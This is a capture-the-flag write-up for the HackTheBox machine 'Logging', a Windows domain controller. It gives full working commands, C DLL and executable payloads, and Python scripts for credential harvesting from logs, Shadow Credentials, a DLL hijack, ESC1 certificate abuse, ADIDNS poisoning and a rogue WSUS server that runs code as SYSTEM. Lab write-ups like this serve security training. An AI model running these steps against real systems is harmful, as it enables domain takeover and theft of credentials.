Logging - HackTheBox Seasonal Machine Writeup

Published on: 4/25/2026

Summary: Windows Server 2019 Domain Controller, Medium difficulty, Season 7.


Logging - HackTheBox Seasonal Machine Writeup

Machine Info

  • Name: Logging
  • ID: 888
  • OS: Windows Server 2019 (Build 17763)
  • Difficulty: Medium
  • Season: S7
  • Creator: LazyTitan33
  • Domain: logging.htb
  • DC: DC01.logging.htb

Prerequisites / Environment Setup

Before starting, fix two critical environment issues:

# Fix VPN MTU - without this, TCP connections carrying >1200 bytes will timeout
# (SMB file reads, LDAP queries, Kerberos TGT responses all break)
sudo ifconfig utun8 mtu 1200

# Add domain to /etc/hosts (replace IP with current instance)
echo "10.129.x.x DC01.logging.htb logging.htb" | sudo tee -a /etc/hosts

Clock skew: DC01's clock is ~7 hours ahead of attacker UTC. All Kerberos operations require:

faketime -f '+25200' <command>

Initial Credentials

Machine profile provides starting credentials:

wallace.everette / Welcome2026@

Reconnaissance

Port Scan

nmap -Pn -sT -sC -sV -p- -oN nmap/allports.txt 10.129.x.x
nmap -Pn -sT -sC -sV -p 80,88,135,389,445,464,593,636,3268,3269,5985,8530,8531,9389 -oN nmap/initial.txt 10.129.x.x

Results:

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS
80/tcp    open  http          Microsoft IIS httpd 10.0 (default page)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
389/tcp   open  ldap          (SAN: DC01.logging.htb, logging.htb)
445/tcp   open  microsoft-ds  SMB signing enabled and required
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman         WinRM (Negotiate/Kerberos only, no basic NTLM)
8530/tcp  open  unknown       WSUS HTTP
8531/tcp  open  unknown       WSUS HTTPS
9389/tcp  open  adws

Clock skew from nmap output: mean: 6h59m56s (round to +7h = +25200 seconds).

Key Findings from Enumeration

  • WinRM accepts only Negotiate/Kerberos (no NTLM basic auth)
  • Administrator account in Protected Users group (NTLM disabled)
  • Custom SMB share: Logs (readable by domain users)
  • ADCS CA: logging-DC01-CA with custom template UpdateSrv
  • WSUS configured: https://wsus.logging.htb:8531
  • DNS write access for Authenticated Users (CREATE_CHILD on ADIDNS zones)

User Flag

Step 1: Enumerate SMB Logs Share

Using wallace's credentials, list and access SMB shares:

# List available shares
smbclient.py 'logging.htb/wallace.everette:Welcome2026@@10.129.x.x'

Found a custom Logs share. Connect and download all files:

smbclient.py 'logging.htb/wallace.everette:Welcome2026@@10.129.x.x'
# At the smb prompt:
# > use Logs
# > ls
# > get Audit_Heartbeat.log
# > get IdentitySync_Trace_20260219.log
# > get Service_State.log
# > get TaskMonitor.log

Step 2: Credential Discovery in IdentitySync Log

The file IdentitySync_Trace_20260219.log contains a VERBOSE log entry with plaintext credentials for the IdentitySync service account:

[2026-02-09 03:00:03.125] [PID:4102] [Thread:04] VERBOSE - ConnectionContext Dump: {
  Domain: "logging.htb", Server: "DC01", SSL: "False",
  BindUser: "LOGGING\svc_recovery",
  BindPass: "Em3rg3ncyPa$$2025",
  Timeout: 30
}

The log also shows the LDAP bind failed with error data 52e (LDAP_INVALID_CREDENTIALS). The password Em3rg3ncyPa$$2025 is stale (2025). Testing year variations via Kerberos:

# Test the old password - fails
faketime -f '+25200' getTGT.py 'logging.htb/svc_recovery:Em3rg3ncyPa$$2025' -dc-ip 10.129.x.x
# KDC_ERR_PREAUTH_FAILED

# Test updated year - succeeds
faketime -f '+25200' getTGT.py 'logging.htb/svc_recovery:Em3rg3ncyPa$$2026' -dc-ip 10.129.x.x
# [*] Saving ticket in svc_recovery.ccache

svc_recovery credentials: svc_recovery : Em3rg3ncyPa$$2026

Step 3: LDAP Enumeration - Key Accounts and Groups

Using wallace or svc_recovery credentials, enumerate domain objects via LDAP:

# Enumerate all users and group memberships
ldapsearch -x -H ldap://10.129.x.x -D 'wallace.everette@logging.htb' -w 'Welcome2026@' \
  -b 'DC=logging,DC=htb' '(objectClass=user)' sAMAccountName memberOf userAccountControl

# Enumerate gMSA accounts
ldapsearch -x -H ldap://10.129.x.x -D 'wallace.everette@logging.htb' -w 'Welcome2026@' \
  -b 'DC=logging,DC=htb' '(objectClass=msDS-GroupManagedServiceAccount)' sAMAccountName memberOf

# Check ACLs on msa_health$ (use bloodyAD or ldapdomaindump)
faketime -f '+25200' bloodyAD --host DC01.logging.htb -d logging.htb \
  -u svc_recovery -p 'Em3rg3ncyPa$$2026' -i 10.129.x.x \
  get object 'msa_health$' --attr nTSecurityDescriptor

Key accounts and their group memberships:

User Groups Notes
Administrator Protected Users, Domain Admins NTLM disabled
toby.brynleigh Domain Admins, Administrators Root flag owner
jaylee.clifton IT, Performance Log Users Runs UpdateChecker Agent scheduled task
svc_recovery Emergency Recovery, Protected Users Has WRITE on msa_health$
msa_health$ Remote Management Users gMSA, WinRM access

svc_recovery has GenericWrite (READ_PROP + WRITE_PROP + CONTROL_ACCESS = 0x2003c) on the msa_health$ gMSA account. This allows Shadow Credentials attack.

Step 4: Shadow Credentials on msa_health$

Since svc_recovery is in Protected Users, authenticate via Kerberos. Then perform a Shadow Credentials attack to obtain msa_health$'s NT hash:

# Get Kerberos TGT for svc_recovery (must use faketime for clock skew)
export KRB5CCNAME=svc_recovery.ccache
faketime -f '+25200' getTGT.py 'logging.htb/svc_recovery:Em3rg3ncyPa$$2026' -dc-ip 10.129.x.x

# Add shadow credential to msa_health$ using bloodyAD
faketime -f '+25200' bloodyAD --host DC01.logging.htb -d logging.htb \
  -u svc_recovery -k "ccache=svc_recovery.ccache" -i 10.129.x.x \
  add shadowCredentials 'msa_health$'

Output:

[+] KeyCredential generated
[+] Certificate and key saved to shadow.pfx
[+] Updated msDS-KeyCredentialLink on msa_health$
[+] Requesting TGT using PKINIT...
[+] TGT stored in ccache file
NT: 603fc24ee01a9409f83c9d1d701485c5

msa_health$ NT hash: 603fc24ee01a9409f83c9d1d701485c5

This hash is consistent across machine resets (gMSA password is deterministic from KDS root key).

Step 5: WinRM Shell as msa_health$

msa_health$ is in Remote Management Users and is NOT in Protected Users (NTLM is allowed). However, standard tools (evil-winrm, impacket wmiexec) fail because WinRM on this box requires Negotiate authentication with message encryption.

Use pypsrp (Python PowerShell Remoting Protocol) for WinRM with NTLM message encryption:

#!/usr/bin/env python3
# winrm_shell.py - Interactive WinRM shell via pypsrp
from pypsrp.client import Client

client = Client(
    "10.129.x.x",       # Target IP
    ssl=False,            # HTTP port 5985
    auth="ntlm",          # NTLM authentication
    username="msa_health$",
    password="aad3b435b51404eeaad3b435b51404ee:603fc24ee01a9409f83c9d1d701485c5",  # LM:NT hash
    encryption="always"   # Required - WinRM demands message encryption
)

# IMPORTANT: execute_cmd() returns "Access Denied"
# Only execute_ps() (PowerShell remoting) works for this account
output, streams, had_errors = client.execute_ps("whoami")
print(output)  # logging\msa_health$

# Interactive loop
while True:
    cmd = input("PS> ")
    if cmd.lower() in ('exit', 'quit'):
        break
    output, streams, had_errors = client.execute_ps(cmd)
    print(output)
    if had_errors:
        for err in streams.error:
            print(f"ERROR: {err}")
pip install pypsrp
python3 winrm_shell.py

Key: execute_cmd() returns Access Denied, but execute_ps() (PowerShell remoting) works.

Step 6: Enumeration from msa_health$ Shell

From the WinRM shell, discover the UpdateMonitor scheduled task:

# List scheduled tasks
Get-ScheduledTask | Where-Object {$_.TaskName -like "*Update*"} | Format-List

# Inspect the UpdateChecker Agent task
Get-ScheduledTask -TaskName "UpdateChecker Agent" | Format-List *
(Get-ScheduledTask -TaskName "UpdateChecker Agent").Actions | Format-List *
(Get-ScheduledTask -TaskName "UpdateChecker Agent").Principal | Format-List *

# Check the binary
Get-Acl "C:\Program Files\UpdateMonitor" | Format-List
icacls "C:\Program Files\UpdateMonitor"
icacls "C:\ProgramData\UpdateMonitor"

Findings:

  1. UpdateChecker Agent scheduled task runs every 3 minutes as jaylee.clifton
  2. It executes C:\Program Files\UpdateMonitor\UpdateMonitor.exe
  3. UpdateMonitor.exe checks C:\ProgramData\UpdateMonitor\ for Settings_Update.zip, extracts to bin\, then calls LoadLibrary("settings_update.dll") + GetProcAddress("PreUpdateCheck")
  4. C:\ProgramData\UpdateMonitor\ is writable by Users group (CreateFiles + Write)
  5. The IT group has FullControl on the bin\ directory

Step 7: DNS Poisoning (HR01.logging.htb)

The IdentitySync log shows the service connects to HR01.logging.htb for SQL sync. This hostname is not in DNS by default. Since Authenticated Users have CREATE_CHILD on ADIDNS zones, we can poison it:

# Add DNS record pointing HR01.logging.htb to attacker IP
# This makes IdentitySync connect to us (though this is primarily for reconnaissance)
faketime -f '+25200' bloodyAD --host DC01.logging.htb -d logging.htb \
  -u wallace.everette -p 'Welcome2026@' -i 10.129.x.x \
  add dnsRecord HR01 <ATTACKER_VPN_IP>

# Verify the record was added
nslookup HR01.logging.htb 10.129.x.x

Step 8: DLL Hijack via UpdateMonitor

Compile the Malicious DLL

Create a native 32-bit Windows DLL with the PreUpdateCheck export that copies user.txt:

// settings_update_final.c
#include <windows.h>

__declspec(dllexport) void PreUpdateCheck() {
    // Copy jaylee.clifton's user flag to a world-readable location
    CopyFileA("C:\\Users\\jaylee.clifton\\Desktop\\user.txt",
              "C:\\ProgramData\\UpdateMonitor\\Logs\\user_flag.txt", FALSE);

    // Grant Everyone read access
    system("icacls C:\\ProgramData\\UpdateMonitor\\Logs\\user_flag.txt /grant Everyone:R 2>NUL");
}

BOOL APIENTRY DllMain(HMODULE h, DWORD r, LPVOID l) { return TRUE; }

Cross-compile on attacker machine (macOS/Linux):

# MUST be 32-bit (i686) - UpdateMonitor.exe is a 32-bit binary
# MUST be statically linked - no mingw runtime DLLs exist on target
i686-w64-mingw32-gcc -shared -static -o settings_update.dll settings_update_final.c -lkernel32

# Package into ZIP (UpdateMonitor expects Settings_Update.zip)
zip Settings_Update.zip settings_update.dll

Deploy via pypsrp

from pypsrp.client import Client

client = Client(
    "10.129.x.x", ssl=False, auth="ntlm",
    username="msa_health$",
    password="aad3b435b51404eeaad3b435b51404ee:603fc24ee01a9409f83c9d1d701485c5",
    encryption="always"
)

# Create Logs directory if it doesn't exist
client.execute_ps(r"New-Item -ItemType Directory -Force -Path 'C:\ProgramData\UpdateMonitor\Logs'")

# Upload the ZIP
client.copy("Settings_Update.zip", r"C:\ProgramData\UpdateMonitor\Settings_Update.zip")

# Grant Everyone full access so jaylee.clifton (running as the scheduled task) can read it
client.execute_ps(r"icacls C:\ProgramData\UpdateMonitor\Settings_Update.zip /grant 'Everyone:F'")

# Verify upload
output, _, _ = client.execute_ps(r"Get-ChildItem C:\ProgramData\UpdateMonitor\ | Format-Table Name,Length,LastWriteTime")
print(output)

Wait for Execution

The UpdateChecker Agent scheduled task runs every 3 minutes as jaylee.clifton. When it fires:

  1. UpdateMonitor.exe finds Settings_Update.zip in C:\ProgramData\UpdateMonitor\
  2. Extracts settings_update.dll to C:\Program Files\UpdateMonitor\bin\
  3. Calls LoadLibrary("settings_update.dll") then GetProcAddress("PreUpdateCheck")
  4. PreUpdateCheck() runs as jaylee.clifton, copies user.txt to Logs\user_flag.txt
# Poll for the flag (check every 30 seconds)
import time
for i in range(20):
    output, _, _ = client.execute_ps(r"Get-Content 'C:\ProgramData\UpdateMonitor\Logs\user_flag.txt' -ErrorAction SilentlyContinue")
    if output.strip():
        print(f"USER FLAG: {output.strip()}")
        break
    print(f"Attempt {i+1}: waiting for scheduled task...")
    time.sleep(30)

User Flag

0e04474db0432630d46008cc14742e3e

Important Notes on DLL Hijack

  • 32-bit only: UpdateMonitor.exe is 32-bit, so the DLL must be compiled with i686-w64-mingw32-gcc
  • Static linking: Use -static flag because no mingw runtime DLLs exist on the target
  • PreUpdateCheck export: The function must be exported as a C function (no C++ name mangling)
  • DLL locking: Once UpdateMonitor loads the DLL via LoadLibrary, it keeps the handle open. Multiple task instances accumulate, permanently locking the file. To replace the DLL, you must reset the machine and deploy a new ZIP before the first task runs.

Root Flag

Key Insight: Server Auth EKU = Impersonate a Server

The UpdateSrv ADCS certificate template has:

  • ENROLLEE_SUPPLIES_SUBJECT (ESC1) - requester can specify any SAN
  • Server Authentication EKU only (1.3.6.1.5.5.7.3.1) - no Client Auth
  • IT group has Enroll rights
  • jaylee.clifton is in the IT group

This means:

  • PKINIT will NOT work (KDC rejects Server Auth EKU: KDC_ERR_INCONSISTENT_KEY_PURPOSE)
  • Schannel LDAP cert mapping will NOT work (DC does not map client certs to AD identities)
  • But Server Auth EKU is exactly what's needed to impersonate a TLS server

DC01 is configured to check for WSUS updates at https://wsus.logging.htb:8531/. By requesting a cert for wsus.logging.htb and poisoning DNS, we can impersonate the WSUS server and push a malicious update that executes as SYSTEM on DC01.

Step 1: ADCS Enumeration

Confirm the UpdateSrv template configuration:

# Enumerate ADCS templates using certipy
faketime -f '+25200' certipy find -u 'wallace.everette@logging.htb' -p 'Welcome2026@' \
  -dc-ip 10.129.x.x -text -stdout

# Or via ldapsearch
ldapsearch -x -H ldap://10.129.x.x -D 'wallace.everette@logging.htb' -w 'Welcome2026@' \
  -b 'CN=Configuration,DC=logging,DC=htb' \
  '(&(objectClass=pKICertificateTemplate)(cn=UpdateSrv))' \
  msPKI-Certificate-Name-Flag pKIExtendedKeyUsage msPKI-RA-Signature

UpdateSrv template details:

Template Name:          UpdateSrv
Enrollment Rights:      IT group
Name Flag:              ENROLLEE_SUPPLIES_SUBJECT (ESC1)
EKU:                    Server Authentication (1.3.6.1.5.5.7.3.1) ONLY
Requires:               No manager approval

Confirm WSUS configuration on DC01:

# From msa_health$ WinRM shell:
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate' | Format-List *
# WUServer = https://wsus.logging.htb:8531
# WUStatusServer = https://wsus.logging.htb:8531

Step 2: Request WSUS Certificate (via DLL as jaylee.clifton)

Since jaylee.clifton is in the IT group and has Enroll rights on UpdateSrv, we use the DLL hijack to run certreq as jaylee.

Generate CSR on Attacker Machine

# Create OpenSSL config for the CSR
cat > wsus_csr.cnf << 'EOF'
[req]
default_bits = 2048
prompt = no
default_md = sha256
distinguished_name = dn
req_extensions = v3_req
[dn]
CN = wsus.logging.htb
[v3_req]
subjectAltName = DNS:wsus.logging.htb
EOF

# Generate private key and CSR
openssl req -new -nodes -keyout wsus.key -out wsus.csr -config wsus_csr.cnf

Deploy CSR and Certificate-Requesting DLL

// settings_update_wsus2.c
#include <windows.h>
__declspec(dllexport) void PreUpdateCheck() {
    // Submit the pre-generated CSR to the CA as jaylee.clifton
    system("certreq -submit -config \"DC01.logging.htb\\logging-DC01-CA\" "
           "-attrib \"CertificateTemplate:UpdateSrv\" "
           "C:\\ProgramData\\UpdateMonitor\\wsus.csr "
           "C:\\ProgramData\\UpdateMonitor\\wsus.cer "
           "> C:\\ProgramData\\UpdateMonitor\\wsus_out.txt 2>&1");
}
BOOL APIENTRY DllMain(HMODULE h, DWORD r, LPVOID l) { return TRUE; }
# Compile 32-bit DLL
i686-w64-mingw32-gcc -shared -static -o settings_update.dll settings_update_wsus2.c -lkernel32

# Package
zip Settings_Update.zip settings_update.dll

Upload CSR and new DLL (requires machine reset first to release the old DLL lock):

from pypsrp.client import Client

client = Client(
    "10.129.x.x", ssl=False, auth="ntlm",
    username="msa_health$",
    password="aad3b435b51404eeaad3b435b51404ee:603fc24ee01a9409f83c9d1d701485c5",
    encryption="always"
)

# Upload CSR
client.copy("wsus.csr", r"C:\ProgramData\UpdateMonitor\wsus.csr")

# Upload new Settings_Update.zip with cert-requesting DLL
client.copy("Settings_Update.zip", r"C:\ProgramData\UpdateMonitor\Settings_Update.zip")
client.execute_ps(r"icacls C:\ProgramData\UpdateMonitor\Settings_Update.zip /grant 'Everyone:F'")
client.execute_ps(r"icacls C:\ProgramData\UpdateMonitor\wsus.csr /grant 'Everyone:F'")

Wait ~3 minutes for the scheduled task, then download the issued certificate:

# Check if cert was issued
output, _, _ = client.execute_ps(r"Get-Content C:\ProgramData\UpdateMonitor\wsus_out.txt")
print(output)  # Should show "Certificate retrieved(Issued) - ..."

# Download the issued certificate
client.fetch(r"C:\ProgramData\UpdateMonitor\wsus.cer", "wsus.cer")

Also Download the CA Certificate

# Download the CA cert for building the full chain
client.execute_ps(r"certutil -ca.cert C:\ProgramData\UpdateMonitor\ca.cer")
client.fetch(r"C:\ProgramData\UpdateMonitor\ca.cer", "ca.cer")

Step 3: Prepare TLS Certificate Chain

Convert the issued cert and CA cert for use with the rogue WSUS server:

# Convert DER cert to PEM if needed
openssl x509 -in wsus.cer -inform DER -out wsus.pem -outform PEM 2>/dev/null || cp wsus.cer wsus.pem
openssl x509 -in ca.cer -inform DER -out ca.pem -outform PEM 2>/dev/null || cp ca.cer ca.pem

# Create combined PEM (server cert + CA chain + private key)
cat wsus.pem ca.pem wsus.key > wsus_combined.pem

# Verify the cert
openssl x509 -in wsus.pem -text -noout
# Subject: CN = wsus.logging.htb
# SAN: DNS:wsus.logging.htb
# EKU: TLS Web Server Authentication
# Issuer: CN = logging-DC01-CA

Step 4: DNS Poisoning (wsus.logging.htb)

Redirect wsus.logging.htb to the attacker's VPN IP so DC01 connects to our rogue WSUS:

# Add DNS A record for wsus.logging.htb pointing to attacker
faketime -f '+25200' bloodyAD --host DC01.logging.htb -d logging.htb \
  -u wallace.everette -p 'Welcome2026@' -i 10.129.x.x \
  add dnsRecord wsus <ATTACKER_VPN_IP>

# Verify the DNS record resolves
nslookup wsus.logging.htb 10.129.x.x
# Should return: <ATTACKER_VPN_IP>

Step 5: Compile Payload for WSUS Update

Compile a 64-bit executable that will be delivered as the "update" and run as SYSTEM on DC01:

// get_root.c - Reads root.txt and writes to world-readable location
#include <windows.h>
#include <stdio.h>

int main() {
    char buf[256] = {0};
    DWORD bytesRead;
    HANDLE hFile;

    // Try multiple possible flag locations
    const char* paths[] = {
        "C:\\Users\\Administrator\\Desktop\\root.txt",
        "C:\\Users\\toby.brynleigh\\Desktop\\root.txt",  // Actual location!
        "C:\\root.txt",
        NULL
    };

    for (int i = 0; paths[i]; i++) {
        hFile = CreateFileA(paths[i], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
        if (hFile != INVALID_HANDLE_VALUE) {
            ReadFile(hFile, buf, sizeof(buf)-1, &bytesRead, NULL);
            CloseHandle(hFile);

            // Write flag to world-readable location
            hFile = CreateFileA("C:\\ProgramData\\UpdateMonitor\\root_flag.txt",
                                GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
            if (hFile != INVALID_HANDLE_VALUE) {
                WriteFile(hFile, buf, bytesRead, &bytesRead, NULL);
                CloseHandle(hFile);
            }
            break;
        }
    }

    // Log execution context
    system("whoami > C:\\ProgramData\\UpdateMonitor\\wsus_whoami.txt 2>&1");
    system("icacls C:\\ProgramData\\UpdateMonitor\\root_flag.txt /grant Everyone:F 2>NUL");
    return 0;
}
# Compile 64-bit (DC01 is 64-bit Windows Server 2019)
x86_64-w64-mingw32-gcc -static -o get_root.exe get_root.c -lkernel32

Step 6: Set Up Rogue WSUS Server

Use wsuks (NOT pywsus -- pywsus handles WSUS metadata sync but fails at the update download stage on Windows Server 2019):

# Install wsuks if not already installed
pip install wsuks
# Or clone from https://github.com/yourrepo/wsuks

# Start rogue WSUS server with TLS using our CA-signed cert
# The cert is signed by logging-DC01-CA, so DC01's WSUS client trusts the TLS connection
sudo wsuks --serve-only \
  --tls-cert wsus_combined.pem \
  -I utun8 \
  -e PsExec64.exe \
  -c "C:\\ProgramData\\UpdateMonitor\\get_root.exe"

Alternative command format (depending on wsuks version):

sudo wsuks serve \
  --cert wsus_combined.pem \
  --key wsus.key \
  --executable get_root.exe \
  --command "-accepteula -s C:\\ProgramData\\UpdateMonitor\\get_root.exe" \
  --port 8531 \
  --interface utun8

The rogue WSUS server will:

  1. Listen on port 8531 (HTTPS) with the CA-signed TLS certificate
  2. Respond to WSUS client requests from DC01
  3. Serve PsExec64.exe as a "critical update"
  4. PsExec64.exe runs our get_root.exe as SYSTEM

Step 7: Deploy get_root.exe to Target

Upload the payload executable to DC01 via the msa_health$ WinRM session so it's available when PsExec runs:

from pypsrp.client import Client

client = Client(
    "10.129.x.x", ssl=False, auth="ntlm",
    username="msa_health$",
    password="aad3b435b51404eeaad3b435b51404ee:603fc24ee01a9409f83c9d1d701485c5",
    encryption="always"
)

# Upload the payload
client.copy("get_root.exe", r"C:\ProgramData\UpdateMonitor\get_root.exe")
client.execute_ps(r"icacls C:\ProgramData\UpdateMonitor\get_root.exe /grant Everyone:RX")

Step 8: Trigger WSUS Update on DC01

Force DC01 to check for updates. This can be done from the msa_health$ WinRM shell:

# Trigger Windows Update check
client.execute_ps("wuauclt /resetauthorization /detectnow")
client.execute_ps("wuauclt /updatenow")

# Alternative PowerShell method
client.execute_ps("""
$AutoUpdate = (New-Object -ComObject Microsoft.Update.AutoUpdate)
$AutoUpdate.DetectNow()
""")

DC01 will:

  1. Resolve wsus.logging.htb to our attacker IP (via poisoned DNS)
  2. Connect to our rogue WSUS server on port 8531 over HTTPS
  3. Trust our TLS certificate (signed by the internal CA logging-DC01-CA)
  4. Download PsExec64.exe as a "critical update"
  5. Execute PsExec64.exe as SYSTEM, which runs get_root.exe
  6. get_root.exe reads root.txt and copies it to C:\ProgramData\UpdateMonitor\root_flag.txt

Step 9: Retrieve Root Flag

# Poll for the root flag
import time
for i in range(30):
    output, _, _ = client.execute_ps(
        r"Get-Content C:\ProgramData\UpdateMonitor\root_flag.txt -ErrorAction SilentlyContinue"
    )
    if output.strip():
        print(f"ROOT FLAG: {output.strip()}")
        break
    print(f"Attempt {i+1}: waiting for WSUS update cycle...")
    time.sleep(30)

# Verify execution context
output, _, _ = client.execute_ps(r"Get-Content C:\ProgramData\UpdateMonitor\wsus_whoami.txt")
print(f"Executed as: {output.strip()}")  # nt authority\system

Note: The root flag is at C:\Users\toby.brynleigh\Desktop\root.txt (NOT C:\Users\Administrator\Desktop\root.txt), because toby.brynleigh is the Domain Admin user on this machine.

Root Flag

HTB{...} (dynamic per instance)

Full Attack Chain Summary

wallace.everette (initial creds: Welcome2026@)
    |
    +-- SMB "Logs" share --> IdentitySync_Trace_20260219.log
    |   --> svc_recovery : Em3rg3ncyPa$$2025 (stale, update year to 2026)
    |
    v
svc_recovery : Em3rg3ncyPa$$2026 (Protected Users, Kerberos only)
    |
    +-- GenericWrite on msa_health$ gMSA
    +-- bloodyAD add shadowCredentials --> NT hash: 603fc24ee01a9409f83c9d1d701485c5
    |
    v
msa_health$ (gMSA, Remote Management Users, NTLM allowed)
    |
    +-- WinRM PowerShell shell via pypsrp (NTLM + message encryption)
    +-- Discover UpdateChecker Agent scheduled task (every 3 min as jaylee.clifton)
    +-- Deploy Settings_Update.zip with malicious DLL to C:\ProgramData\UpdateMonitor\
    |
    v
jaylee.clifton (IT group, Performance Log Users)
    |
    +-- DLL PreUpdateCheck() --> CopyFileA(user.txt) --> USER FLAG
    +-- DLL certreq -submit --> CA-signed cert for wsus.logging.htb (UpdateSrv ESC1)
    |
    v
WSUS Spoofing (rogue WSUS as SYSTEM on DC01)
    |
    +-- DNS poisoning: wsus.logging.htb --> attacker IP (bloodyAD add dnsRecord)
    +-- Rogue WSUS server: wsuks with CA-signed TLS cert
    +-- DC01 trusts our cert (signed by logging-DC01-CA)
    +-- PsExec64.exe delivered as "update", executes get_root.exe as SYSTEM
    +-- root.txt at C:\Users\toby.brynleigh\Desktop\root.txt
    |
    v
ROOT FLAG

Technical Notes

VPN MTU Issue

The HTB Release Arena VPN (utun8) defaults to MTU 1500, but the VPN tunnel can't handle large packets. Set MTU to 1200:

sudo ifconfig utun8 mtu 1200

Without this fix, all TCP connections carrying >1200 bytes of payload will timeout (SMB file reads, LDAP queries, Kerberos TGT responses).

Clock Skew

DC01's clock is 7 hours ahead of the attacker's UTC. All Kerberos operations require:

faketime -f '+25200' <command>

Native DLL Requirements

  • Must be 32-bit (i686) -- UpdateMonitor.exe is 32-bit
  • Must be statically linked (-static) -- no mingw runtime DLLs on target
  • Must export PreUpdateCheck as a C function (no name mangling)
  • ZIP permissions must allow Everyone:Read (msa_health$ creates it, jaylee reads it)

DLL Locking Issue

Once UpdateMonitor loads the DLL via LoadLibrary, it keeps the handle open. Multiple task instances accumulate, permanently locking the file. To replace the DLL:

  • Must reset the machine
  • Deploy new ZIP before the first task runs (~3 min window)
  • Or rename the DLL between task runs (narrow window)

Why pywsus Fails

pywsus correctly handles the WSUS SyncUpdates SOAP exchange (metadata), but fails when DC01 actually tries to download the update binary. Windows Server 2019's WSUS client expects specific download endpoints and content-range handling that pywsus does not implement. wsuks handles the complete flow including HTTPS, metadata, and update binary delivery.

Failed Root Paths (for reference)

  1. PKINIT with Server Auth cert: KDC rejects KDC_ERR_INCONSISTENT_KEY_PURPOSE
  2. Schannel LDAP (certipy/PassTheCert/bloodyAD): DC returns "Server did not return an identity" - does not map client certs to AD identities even with SID extension
  3. NTLM Relay (SMB to LDAP): MIC enforcement blocks relay (CVE-2019-1040 patched)
  4. RBCD on DC01$: jaylee has no write access to msDS-AllowedToActOnBehalfOfOtherIdentity
  5. Shadow Credentials on DC01$: jaylee has no KeyCredentialLink write permission
  6. CertiFried (CVE-2022-26923): Patched (SPN uniqueness check)

Lessons Learned

  1. Server Auth EKU = Impersonate a server, not a user. When ADCS gives you a cert with Server Auth only, think about which internal services use TLS and can be spoofed (WSUS, SCCM, LDAPS, etc.).

  2. WSUS is a high-value target. If WSUS uses an internal CA for HTTPS and you can enroll certs for the WSUS hostname, you can push arbitrary code as SYSTEM on every domain-joined machine.

  3. Tool selection matters. pywsus handles WSUS metadata sync but fails at the update download stage on modern Windows. wsuks handles the complete flow including HTTPS and update delivery. Similarly, pypsrp works for WinRM when evil-winrm and impacket fail.

  4. Chain small findings. The exploit chains DNS write access + ADCS enrollment + WSUS trust into SYSTEM execution -- no single vulnerability is critical alone.

  5. gMSA + Shadow Credentials is powerful. When you have GenericWrite on a gMSA, Shadow Credentials gives you the NT hash, and the gMSA's group memberships (like Remote Management Users) open new paths.

  6. DLL hijack persistence matters. Understanding LoadLibrary locking behavior is critical -- you only get one shot per machine boot to deploy the right DLL.

Table of Contents